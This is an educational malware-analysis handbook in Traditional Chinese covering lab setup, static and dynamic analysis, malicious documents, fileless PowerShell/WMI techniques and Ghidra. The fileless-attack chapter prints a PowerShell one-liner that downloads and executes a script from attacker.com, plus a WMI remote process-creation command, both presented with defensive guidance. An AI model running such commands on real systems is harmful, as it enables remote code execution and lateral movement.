Report

資安事件調查與惡意程式分析實戰手冊

一份系統性的惡意程式分析實戰指南:從隔離實驗室(FLARE VM / REMnux)建置、基礎靜態與動態分析、惡意文件(Office/PDF/RTF)剖析、PowerShell 與 WMI 等無檔案攻擊,到以 Ghidra 進行逆向工程,協助建立從偵測、應變到鑑識的完整分析能力。

Kent Wu · 發布

平台 Windows · Linux

惡意程式分析情境圖(AI 生成)

前言

在當今數位化時代,網路安全威脅日益猖獗,惡意軟體攻擊手法層出不窮。從大規模的勒索軟體爆發到針對性的進階持續性威脅(APT),企業與個人皆面臨前所未有的資安挑戰。具備獨立進行資安事件調查與惡意程式分析的能力,已成為資安專業人員不可或缺的核心技能。本手冊旨在提供一份全面且具實戰性的指南,系統性地介紹惡意軟體分析的各個面向,從基礎概念、實驗室建置,到進階的逆向工程技術。

本手冊涵蓋:

  • 隔離實驗室建置:以虛擬化技術與專用平台(FLARE VM 與 REMnux)打造安全、隔離的分析環境。
  • 靜態與動態分析:在不執行與執行惡意程式碼的情況下,分析其行為與特徵。
  • 惡意文件剖析:了解 Office、PDF 等文件如何被利用為攻擊媒介,並分析其中的惡意巨集與腳本。
  • 無檔案攻擊:探索利用 PowerShell、WMI 等合法系統工具進行的隱蔽攻擊手法。
  • 逆向工程入門:以 Ghidra 等工具反組譯並理解惡意程式碼的底層邏輯。

本手冊僅供教育與研究用途。所有提及的工具與技術應僅在合法授權、隔離且可還原的環境中使用;請勿在生產或個人系統上直接分析惡意樣本。

第一章:惡意軟體分析基礎與安全實驗室建置

在深入複雜技術之前,建立穩固的基礎至關重要,包括理解惡意軟體分析的核心定義、流程,以及如何建置安全、隔離的實驗室。一個設計良好的實驗室是任何分析工作的先決條件,能確保分析人員在不危及自身系統或網路的情況下安全檢視與執行惡意樣本。

惡意軟體分析概述

惡意軟體分析是研究惡意軟體(病毒、蠕蟲、木馬、勒索軟體、間諜軟體等)功能、來源、傳播方式及其對系統潛在影響的學科。主要目標是理解樣本的行為與意圖,從而提取可作為防禦依據的入侵指標(IOCs),例如檔案雜湊、惡意網域或 IP、註冊表機碼等。這些資訊對事件應變、威脅狩獵與強化防禦至關重要。分析流程通常由淺入深分為四個階段:

惡意軟體分析的四個階段

建立安全隔離的分析實驗室

首要原則是安全,絕不能在日常工作或個人電腦上直接分析惡意樣本。建置隔離的虛擬化實驗室是標準作法,提供可隨時還原的「乾淨」環境,並防止惡意軟體擴散至外部網路。

  • 虛擬化軟體:常用 VMware Workstation Player/Pro(穩定性高)與 Oracle VM VirtualBox(免費開源)。
  • 網路配置:為確保隔離,虛擬機網路介面應設為「Host-only」或「Internal Network」,建立僅限虛擬機之間或與主機通訊的私有網路,徹底阻斷對外連線。
  • 快照(Snapshot):儲存虛擬機在特定時間點的完整狀態。應在建置完乾淨環境後立即建立基線快照,每次分析結束後還原,以確保環境純淨。

專用分析平台:FLARE VM 與 REMnux

FLARE VM 由 Mandiant(前身 FireEye)的 FLARE 團隊開發,是一套 PowerShell 腳本,能將乾淨的 Windows 虛擬機自動轉為功能完備的分析平台,整合數百個工具,涵蓋除錯、反組譯、靜態與動態分析、網路監控。核心工具集包括逆向工程(Ghidra、IDA Free、x64dbg)、動態分析(Process Monitor、Process Hacker、Wireshark)、文件分析(oletools、pdfid)、.NET 分析(dnSpy、de4dot)。安裝前需準備乾淨的 Windows 10 以上虛擬機、PowerShell 5.0 以上;安裝會自動下載配置工具,故完成後再將網路切換至隔離模式。

REMnux 是基於 Ubuntu、專為惡意軟體逆向與分析設計的發行版,通常作為實驗室中的「服務」虛擬機,模擬惡意軟體可能連接的網路服務(DNS、HTTP、FTP 等)。核心工具包括 INetSim(模擬多種網路服務並記錄請求)、文件分析工具,以及 Volatility 記憶體鑑識框架。在典型架構中,FLARE VM 的網路閘道與 DNS 指向 REMnux,使惡意軟體對外連線時所有流量都被 INetSim 攔截記錄,揭示其網路通訊意圖。

第二章:基礎靜態分析

基礎靜態分析是在不執行惡意程式碼的前提下檢查以獲取資訊。這是分析的第一步,能快速、安全地初步評估樣本的潛在惡意程度,並為後續動態分析或逆向工程提供方向。

檔案識別與雜湊分析

不能單純依賴副檔名判斷檔案類型(攻擊者常偽裝副檔名)。應使用 Linux 的 file 指令或 Windows 上的 TrID,依檔案的「魔術數字」(magic number)識別真實類型。雜湊值(MD5、SHA-1、SHA-256)是檔案的唯一數位指紋,用途包括:作為唯一識別符、查詢信譽資料庫(VirusTotal、Hybrid Analysis)、偵測重複樣本。

字串提取與分析

從二進位檔案提取可列印字串是最簡單有效的方法之一,strings(Linux 與 Windows Sysinternals)可指定最小長度並選擇 ASCII 或 Unicode。可從字串發現的潛在 IOC 包括:網域與 IP(可能為 C2)、URL 路徑、檔案名稱與路徑、註冊表機碼、錯誤/除錯字串、API 函數名稱。然而攻擊者常以 Base64、XOR 等混淆隱藏這些字串,使靜態字串分析更困難。

Windows PE 檔案結構剖析

理解可攜式執行檔(PE)結構至關重要。PE 由標頭與區段組成。

PE 標頭,以 PE-bear、PEStudio 等解析。DOS Header 最重要的欄位是 e_lfanew(指向 NT 標頭);NT Header 含 PE 簽名、File Header(MachineNumberOfSectionsTimeDateStamp)與 Optional Header。Optional Header 的 AddressOfEntryPoint 若指向不尋常區段(如 .data)或檔案末尾,通常是加殼的強烈指標;DataDirectory 陣列指向重要資料表,其中最重要的是匯入位址表(IAT)。

匯入函數分析,IAT 列出程式從外部 DLL 呼叫的所有 API,是最有價值的靜態資訊來源。可疑的 API 組合:網路(InternetOpenInternetConnectsendrecv)、檔案(CreateFileWriteFileDeleteFile)、程序注入(CreateProcessOpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread)、註冊表(RegCreateKeyExRegSetValueEx)、鍵盤監控(SetWindowsHookExGetAsyncKeyState)、加密(CryptEncryptCryptGenKey)。若匯入表極小(僅 LoadLibraryGetProcAddress),強烈暗示加殼或動態 API 解析。

區段分析.text(可執行程式碼)、.data(可讀寫全域/靜態變數)、.rdata(唯讀資料,匯入表常在此)、.rsrc(資源,第二階段負載可能加密藏於此)。一個區段若同時可寫且可執行非常可疑,因為它允許程式在執行時修改自身程式碼,常用於解壓加殼碼或自我修改。

加殼與脫殼

加殼以壓縮或加密隱藏原始程式碼;執行時外層「殼」先解壓/解密到記憶體再跳轉,使靜態分析失效。偵測指標:高熵值(加密/壓縮資料熵接近 8)、異常區段名稱(UPX0UPX1.aspack)、極少匯入函數、入口點位於非標準區段。脫殼方面,UPX 可直接以官方工具 upx -d;未知的殼則需以除錯器在記憶體中傾印與重建。

第三章:基礎動態分析

基礎動態分析是在受控、隔離環境中執行惡意軟體並觀察其行為。它能揭示程式執行時的真實意圖,即使程式碼經混淆或加殼。

自動化沙箱分析

自動化沙箱會自動執行提交的樣本、以監控工具記錄所有行為並生成報告。Cuckoo Sandbox 是最著名的開源系統:提交樣本 → 從乾淨快照啟動隔離客體 → 執行並以代理程式掛鉤系統 API 監控 → 記錄程序創建、檔案/註冊表修改、網路請求 → 生成含行為摘要、IOC、PCAP 與截圖的報告。缺點是可能被偵測:許多現代惡意軟體具備反虛擬化/反沙箱技術(檢查虛擬機驅動、偵測分析進程、檢查運行時間),發現處於分析環境即終止或展現良性行為。

系統行為監控

手動執行並以專門工具監控可提供比沙箱更深入的洞察。Process Monitor(Procmon) 即時監控所有檔案、註冊表、程序與網路活動:先設 Include 過濾器(僅目標程序)→ 開始捕獲 → 執行樣本 → 觀察數分鐘 → 停止分析。「Process Tree」可視覺化程序父子關係。需關注:對 RunRunOnce 機碼的寫入(持久性)、於 System32TempAppData 建立檔案、DeleteFile(自刪清痕)、啟動 cmd.exepowershell.exeProcess Explorer(超級任務管理器,可整合 VirusTotal)與 Autoruns(掃描數十個自動啟動位置並高亮可疑項)補足持久性檢查。

網路流量監控

Wireshark 是業界標準封包分析工具,通常搭配 REMnux 上的 INetSim 監聽 C2 通訊。分析重點:DNS 查詢(識別 C2;DGA 會產生大量隨機查詢)、HTTP/HTTPS(GET 下載負載、POST 上傳/beacon;HTTPS 可從 SNI 或憑證取得目標網域)、異常協定與連接埠、Follow TCP Stream 重組會話。Fiddler 作為攔截代理可自動解密 HTTPS(需安裝根憑證),適合分析基於 Web 的 C2。

第四章:惡意文件分析

惡意文件是現今最普遍的攻擊媒介之一,尤其在釣魚郵件中。攻擊者利用使用者對 Office 與 PDF 的信任,將惡意程式碼嵌入其中。

Office 文件與 VBA 巨集

現代 Office 文件(.docx.xlsx)採用基於 XML 與 ZIP 的 OOXML 格式,可將副檔名改為 .zip 解壓查看內部結構。若含 VBA 巨集,會找到 vbaProject.bin(儲存所有 VBA 巨集碼)。oletools 是分析惡意 Office 文件的必備工具集:olevba 提取並分析 VBA、掃描可疑關鍵字(AutoOpenShellCreateObject)、識別混淆(Base64、Hex)並標示 IOC,olevba --deobf 可觸發去混淆。對高度混淆的巨集,可用 ViperMonkey 模擬執行並報告其動作(Shell 命令、網路連線)而無需實際運行 Office。

常見 VBA 巨集混淆手法

Excel 4.0 巨集(XLM)

XLM 巨集是有 30 年歷史的技術,近年被重新利用,因許多現代防毒與沙箱對其偵測不足。與 VBA 不同,XLM 儲存在工作表儲存格公式中;攻擊者常將其藏在「非常隱藏」(Very Hidden)的工作表並將公式文字設為白色使其不可見。這些巨集可透過 EXEC 執行程式或 CALL 呼叫任意 Windows API。XLMMacroDeobfuscator 可解析 Excel、提取隱藏 XLM、模擬執行並去混淆公式。

PDF 文件分析

PDF 支援嵌入 JavaScript、啟動動作與嵌入檔案,皆可能被濫用。可疑物件與關鍵字:/JS/JavaScript(含 JS,最常見攻擊向量)、/OpenAction/AA(開啟時自動執行)、/URI(超連結)、/Launch(啟動執行檔)、/EmbeddedFile(嵌入負載)。工具:pdfid.py(快速掃描可疑關鍵字數量)、pdf-parser.py(深入檢查物件、提取解碼資料流)、peepdf(互動式框架,含去混淆與漏洞利用分析)。

RTF 文件與 OLE 物件

RTF 不支援巨集,但支援物件連結與嵌入(OLE)。攻擊者可將含惡意巨集的 Excel 或執行檔偽裝成物件嵌入 RTF,使用者互動(如雙擊)即觸發。此外 RTF 解析器本身曾有嚴重漏洞(如 CVE-2017-11882),僅開啟特製 RTF 即可遠端執行程式碼。可用 rtfobj 檢查與提取嵌入的 OLE 物件。

第五章:無檔案攻擊與 Windows 管理技術利用

「無檔案」(Fileless)攻擊盡量避免在磁碟留下傳統執行檔,改為濫用作業系統內建的合法工具與功能,即「離地攻擊」(Living Off the Land, LOL)。因其高度隱蔽,對傳統基於簽章的防毒構成巨大挑戰。

PowerShell 攻擊策略與混淆

PowerShell 能存取檔案系統、註冊表、WMI 與 .NET,是系統管理利器也是攻擊者首選。攻擊者可一行命令從遠端下載並在記憶體執行腳本,無需落地:

# 下載並在記憶體中執行遠端腳本
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

其中 New-Object Net.WebClient 建立網路物件、.DownloadString() 下載腳本為字串、IEXInvoke-Expression)執行該字串。攻擊者常以 -EncodedCommand 將命令 Base64 編碼,使日誌只留一長串亂碼,並以字串拼接/反轉/替換隱藏 IEXDownloadString 等關鍵字、使用無意義變數名與反引號換行。

防禦關鍵在於啟用並監控 PowerShell 進階日誌:Script Block Logging(事件 ID 4104,記錄去混淆後實際執行的腳本內容,是最重要來源)、Module LoggingTranscription

WMI 的偵察與執行利用

攻擊者可用 WMI 查詢系統資訊(OS 版本、程序清單、已安裝防毒)、在遠端系統執行命令(橫向移動):

# 在遠端電腦上執行程式
Invoke-WmiMethod -ComputerName RemotePC -Class Win32_Process -Name Create -ArgumentList "calc.exe"

最隱蔽的濫用是事件驅動的持久性:建立 WMI 事件訂閱,由事件過濾器(WQL 定義觸發條件,如開機後特定時間、登入時)與事件消費者(如 CommandLineEventConsumer 執行任意命令)組成。此機制不依賴 Run 機碼或排程任務,定義儲存在複雜的 OBJECTS.DATA WMI 資料庫中,難以手動檢查,需以專門的 PowerShell 腳本或工具查詢。

.NET 惡意程式的反組譯

.NET 程式被編譯為中間語言(IL)、執行時由 CLR 即時編譯,因此非常容易被反組譯。以 dnSpy、ILSpy 可將 .NET 執行檔反編譯回幾乎與原始碼一樣可讀的 C#/VB.NET。dnSpy 還支援動態除錯(設斷點、單步、檢查變數)與編輯修改。攻擊者常以 ConfuserEx、Eazfuscator.NET 等混淆器保護程式碼(混淆名稱、加密字串、插入無效碼);對被混淆的 .NET,可用 de4dot 嘗試還原,或利用 dnSpy 動態除錯在記憶體觀察解密後的字串與真實流程。

第六章:使用 Ghidra 進行進階靜態分析

當基礎分析無法完全揭示功能時,就進入逆向工程領域。Ghidra 是由美國國家安全局(NSA)開發並開源的逆向工程框架,提供反組譯器、反編譯器、腳本引擎等整合工具。

簡介與工作流程

Ghidra 最引人注目的是其高品質反編譯器,能將組合語言轉為類 C 高階程式碼。基本流程:建立專案並匯入檔案 → 自動分析(識別格式、函數邊界、交叉引用、字串)→ 於 CodeBrowser 瀏覽。主介面三個核心視窗:Listing(反組譯)、Decompiler(類 C 反編譯,主要關注)、Symbol Tree(函數、標籤、匯入、匯出)。

閱讀反組譯與反編譯

理解基本組合語言仍必要(反編譯結果有時不完美)。關鍵概念:暫存器(x86 中 EAX 常存返回值、ESP 堆疊指標、EBP 基址)、指令(MOVPUSH/POPCALLJMPCMP)、堆疊(LIFO,用於傳參與局部變數)。分析時可專注反編譯視窗的類 C 碼,識別 if-else、迴圈與記憶體操作;Ghidra 允許重新命名函數/變數並加註釋,逐步將程式碼轉為可讀邏輯。

分析 Windows API 呼叫

逆向的核心任務之一是識別呼叫了哪些 Windows API 並理解其目的。Ghidra 會自動標示對外部 DLL 函數的呼叫,並可透過交叉引用(Cross-references)找到某 API 在程式碼中所有被呼叫的位置,全面分析其上下文。

常見惡意行為與對應的 Windows API

結語

惡意軟體分析結合技術深度與實戰經驗。從建置安全隔離的實驗室,到掌握靜態與動態分析,再到深入逆向工程,每一階段都需要紮實的理論基礎與靈活的應變能力。隨著攻擊者不斷演進(從執行檔到惡意文件、從磁碟駐留到無檔案攻擊),防禦者也必須持續學習與適應。技術的精進來自不斷的實踐與反思,建議在理解本手冊的基礎上,積極參與實際樣本分析、加入資安社群、關注最新威脅情報,並持續探索新工具與技術。

附錄:常用工具速查表

常用工具速查表(一)

常用工具速查表(二)

常用工具速查表(三)

參考資料

  1. Fortinet — What is Malware Analysis? https://www.fortinet.com/resources/cyberglossary/malware-analysis
  2. Mandiant — FLARE VM. https://github.com/mandiant/flare-vm
  3. REMnux — A Linux Toolkit for Malware Analysis. https://remnux.org/
  4. Microsoft — PE Format. https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
  5. Cuckoo Sandbox — Automated Malware Analysis. https://cuckoosandbox.org/
  6. Ruslan Mirza — Analyzing malicious VBA scripts (macros) in Office files. https://medium.com/@ruslanmirza/analyzing-malicious-vba-scripts-macros-in-office-files-a68458776271
  7. DissectMalware — XLMMacroDeobfuscator. https://github.com/DissectMalware/XLMMacroDeobfuscator
  8. dnSpy — .NET debugger and assembly editor. https://github.com/dnSpy/dnSpy
  9. NSA — Ghidra. https://github.com/NationalSecurityAgency/ghidra

OIS-2026-002 · TLP:CLEAR under FIRST TLP 2.0 · 引用本研究請附研究編號與固定網址。